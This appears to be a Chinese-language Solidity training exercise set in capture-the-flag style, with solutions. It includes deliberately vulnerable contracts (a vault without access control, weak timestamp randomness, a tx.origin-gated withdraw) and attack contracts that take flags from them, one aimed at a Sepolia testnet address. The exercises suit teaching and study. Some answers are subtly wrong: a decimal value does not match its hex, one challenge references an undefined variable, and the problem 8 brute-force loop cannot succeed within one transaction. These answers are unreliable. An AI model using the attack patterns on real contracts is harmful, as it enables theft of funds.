第一题

有无除了直接点击deploy外的其他方法部署一个合约

第一题题解

createcreate2

第二题

简单说说怎样优化一下这个私人金库合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
address public owner;

receive() external payable {
// just a receive function
}

function deposit() external view payable {
require(msg.value > 0, "Must send some ether");
// code? what code?
}

function getBalance() internal view returns (uint) {
return address(this).balance;
// oh i don't want you get balance
}

function withdraw(uint amount) external {
require(amount <= address(this).balance, "Insufficient balance");
// okay okay, let's withdraw
payable(owner).transfer(amount);
}
}

第二题题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
address public owner;

constructor() {
owner = msg.sender;
}

receive() external payable {
// 接收ETH的函数
}

// 存款函数,允许用户向合约发送ETH
// 不用限制调用者,多来点何乐而不为
function deposit() external payable {
require(msg.value > 0, "Must send some ether");
}

// 获取合约余额,可以被外部调用,不想别人看见应该限制msg.sender
function getBalance() external view returns (uint) {
require(msg.sender == owner, "Only owner can view balance");
return address(this).balance;
}

// 提款函数,只有所有者可以调用
function withdraw(uint amount) external {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= address(this).balance, "Insufficient balance");
payable(owner).transfer(amount);
}
}

改进点主要在于以下几点:

1. owner 的设置

  • 代码一: owner 地址没有在构造函数中显式设置,可能是在部署合约后手动设定或假设默认是部署者的地址(但这部分不明确,可能存在漏洞)。
  • 代码二: 在构造函数中显式设置 owner = msg.sender;,确保合约的所有者是部署合约的人,避免了潜在的漏洞。

2. getBalance 的访问限制

  • 代码一: getBalance 函数是 internal,意味着只有合约内部或者继承的合约可以调用,而不能直接由外部调用。没有任何访问控制。
  • 代码二: getBalance 函数是 external,并且增加了访问控制:require(msg.sender == owner, "Only owner can view balance");,只有合约所有者可以查看合约的余额,增强了安全性。

3. withdraw 的访问控制

  • 代码一: withdraw 函数没有访问控制,任何人都可以调用它进行提款。
  • 代码二: withdraw 函数增加了访问控制:require(msg.sender == owner, "Only owner can withdraw");,只有合约所有者才能提款,增强了合约的安全性。

4. deposit 函数的调用者限制

  • 代码一: deposit 函数允许任何人向合约发送ETH,没有限制谁可以调用这个函数。
  • 代码二: deposit 函数允许任何人调用,并没有限制,注释提到“多来点何乐而不为”,即对存款没有限制。虽然没有直接限制,但存款逻辑在两个合约中是一样的。

5. 合约注释

  • 代码二: 注释比代码一更详细,解释了各个函数的作用和潜在的修改建议。例如,注释指出存款函数不需要限制调用者,余额函数应限制访问等,增强了代码可读性和文档化。

总结:

  • 代码二

    基于代码一添加了更严格的安全控制:

    • 显式设置 owner
    • getBalancewithdraw 函数添加了所有者权限控制(external);
    • 详细的注释和更好的文档化;
    • 对合约逻辑没有大的改动,但增加了安全性。

第三题(类型转换)

这是一道类似于填空题,只要你输入正确的b,b1,c,d,e;就能将flag变为true,你能获得几个flag呢;(本题不用进行合约交互);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//SPDX-License-Identifier: MIT
pragma solidity^0.8.0;
contract easy{
bool public flag1 = false;
bool public flag2 = false;
bool public flag3 = false;
bool public flag4 = false;
bool public flag5 = false;
bytes2 a = 0x1234;
uint16 b = uint16(a);
uint32 b1 = uint16(a);
uint32 c = uint32(bytes4(a));
uint8 d = uint8(uint16(a));
uint8 e = uint8(bytes1(a));
function easy1( uint16 _b) public {
if(b == _b)
flag1 = true;
else
flag1 = false;
}
function easy2( uint32 _b1) public {
if(b1 == _b1)
flag2 = true;
else
flag2 = false;
}
function easy3( uint32 _c) public {
if(c == _c)
flag3 = true;
else
flag3 = false;
}
function easy4( uint16 _e) public {
if(d == _d)
flag4 = true;
else
flag4 = false;
}

function easy5( uint16 _e) public {
if(e == _e)
flag5 = true;
else
flag5 = false;
}

第三题题解

十六进制:

b1 = 0x00001234

c = 0x12340000

d = 0x34

e = 0x12

十进制:

b1 = 4660

c = 305419896

d = 52

e = 18

第四题

4.众所周知,solidity没有浮点数,那么当我想要在部署合约时带0.1 ether,应该怎么做呢

【1】

第四题题解

  1. 点击右侧的ether,换成其他单位进行转换传入即可。
  2. 部署一个合约传入1ether,再通过代码转也可以。

第五题

5.说说有几种方式能让这个合约拥有余额

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Transfer {
// Mapping to store player balances
mapping(address => uint256) public player;

// Function to deposit Ether into the contract
function deposit() external payable {
player[msg.sender] += msg.value;
}

// Function to withdraw Ether from the contract
function withdraw(uint256 amount) external payable {
// Ensure the sender has enough balance to withdraw the specified amount
require(player[msg.sender] >= amount, "Insufficient balance");
player[msg.sender] -= amount;

// Transfer the amount back to the sender
payable(msg.sender).transfer(amount);
}

// Fallback function to accept Ether
receive() external payable {}
}

第五题题解:

1.EOA账户直接点击deposit进行操作

2.通过另一个合约调用转账函数转账(transfer,call,send,delegatecall)

3.自毁合约转账

注意withdraw并没有真的转账,所以通过接收合约的receive或者fallback函数再次调用deposit不可行

第六题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 合约地址: 0xD7e21bfaa70e885AEc831334E2DdD8a052db777b
// 测试网:Sepolia
// 考察点:一般的代码阅读能力
// 题目背景:小明是一个数学爱好者,他比较喜欢将8个较大素数作为自己的密码来存储
// 备注:把除去最大的两个素数的其它较大八个素数从小到大排序即可

contract ArrayMapping {
// Mapping to store valid numbers
mapping(uint8 => bool) public numberMapping;

// Mapping to track addresses with the "flag"
mapping(address => bool) public flag;

// Constructor to initialize the mapping with the provided numbers
constructor(uint8[] memory numbers) {
for (uint i = 0; i < numbers.length; i++) {
numberMapping[numbers[i]] = true;
}
}

// Function to set the flag if the provided numbers are valid
function getflag() public {
attackexample attack = attackexample(msg.sender);
uint8[] memory nums = attack.getNumbers();

// Check if any number in the provided array is in the mapping
require(isInArray(nums), "You can't do this");
flag[address(msg.sender)] = true;
}

// Function to check if any number in the input array exists in the mapping
function isInArray(uint8[] memory numbers) public view returns (bool) {
for (uint i = 0; i < numbers.length; i++) {
if (numberMapping[numbers[i]]) return true;
}
return false;
}
}

contract attackexample {
uint8[] public numbers;

// Function to return the numbers array
function getNumbers() public view returns (uint8[] memory) {
return numbers;
}

// 在此填写你的攻击合约内容
// Paste your attack code here
}

第六题题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.8.0;

interface ArrayMapping {
function getflag() external;
function flag(address _address) external view returns (bool);
}

contract demoattack {
uint8[] public numbers;
ArrayMapping public targetContract;

constructor(address _targetAddress) {
// Updated the list of primes, excluding the two largest ones
numbers = [197, 199, 211, 223, 227, 229];
targetContract = ArrayMapping(_targetAddress);
}

// Function to retrieve the list of primes
function getNumbers() public view returns (uint8[] memory) {
return numbers;
}

// Attack function to call the target contract's getflag function
function attack() public {
targetContract.getflag();
}

// Check success of the attack by calling the target contract's flag function
function checkSuccess() public view returns (bool) {
return targetContract.flag(address(this));
}
}

第七题

补全函数并部署,成功让flag返回true,成功提交截图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank {
// 1. 定义一个布尔类型的公共状态变量,命名为 `____(1)____`
____(1)____ public flag;

// 2. 编写一个构造函数,接收支付的以太币金额,要求必须等于 1.5 ether
constructor() payable {
require(msg.value == ____(2)____, "Invalid ether amount");
flag = false;
}

// 3. 定义一个 `withdraw` 函数,要求调用者不能是外部账户(即不能是 `tx.origin`),并向调用者发送 1.5 ether
function withdraw() public {
require(msg.sender != ____(3)____, "Fail");
(bool success, ) = ____(4)____(msg.sender).call{value: ____(5)____}("");
require(success == true, "Transfer failed");
}

// 4. 定义一个 `solve` 函数,检查合约余额是否为 0,如果为 0,则设置 `flag` 为 `true`
function solve() public {
require(___(6)___ == 0, "Fail");
flag = true;
}
}

contract BankAttack {
// 5. 定义一个 `Bank` 类型的公共状态变量,命名为 `____(7)____`
____(7)____ public targetBank;

// 6. 编写一个构造函数,接收目标银行的地址并实例化 `targetBank`
constructor(address _bankAddress) {
targetBank = ____(8)____(_bankAddress);
}

function attackWithdraw() public {
targetBank.withdraw();
}
}

第七题题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank {
bool public flag;

// Constructor that accepts a specific amount of Ether and sets the flag to false
constructor() payable {
require(msg.value == (15 * 1 ether) / 10, "Incorrect amount of Ether sent");
flag = false;
}

// Withdraw function to ensure only contract calls are allowed (no EOAs)
function withdraw() public {
require(msg.sender != tx.origin, "Fail: External accounts are not allowed");

(bool success, ) = payable(msg.sender).call{value: (15 * 1 ether) / 10}("");

require(success, "Transaction failed");
}

// Solve function that sets the flag to true when the contract balance is 0
function solve() public {
require(address(this).balance == 0, "Fail: Contract balance must be 0");
flag = true;
}
}

第八题

通关条件:check函数返回true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract war {
mapping(address => bool) player;
uint256 warrior = 0;
uint256 archer = 1;
uint256 assassin = 2;

function randomArmy() internal view returns (uint256) {
return (uint256(keccak256(abi.encodePacked(block.timestamp))) % 3);
}

function respond(uint256 yours) external {
uint256 randomarmy = randomArmy();
if (yours == 0 && randomarmy == 2) {
player[msg.sender] = true;
} else if (yours == 1 && randomarmy == 0) {
player[msg.sender] = true;
} else if (yours == 2 && randomarmy == 1) {
player[msg.sender] = true;
}
}

function check(address _add) external view returns (bool) {
return player[_add];
}
}

第八题题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface Iwar {
// Respond function, takes a uint256 parameter
function respond(uint256 yours) external;

// Check function, returns a boolean for the address
function check(address) external view returns (bool);
}

contract warhack {
Iwar public add;

// Constructor to initialize the contract with the target address
constructor(Iwar _add) {
add = _add;
}

// Hack function that continuously calls the respond function
// until the check function returns true
function hack() external {
// Infinite loop, runs until check() returns true
while (!add.check(address(this))) {
add.respond(0); // Respond with 0 to the target contract
}
}
}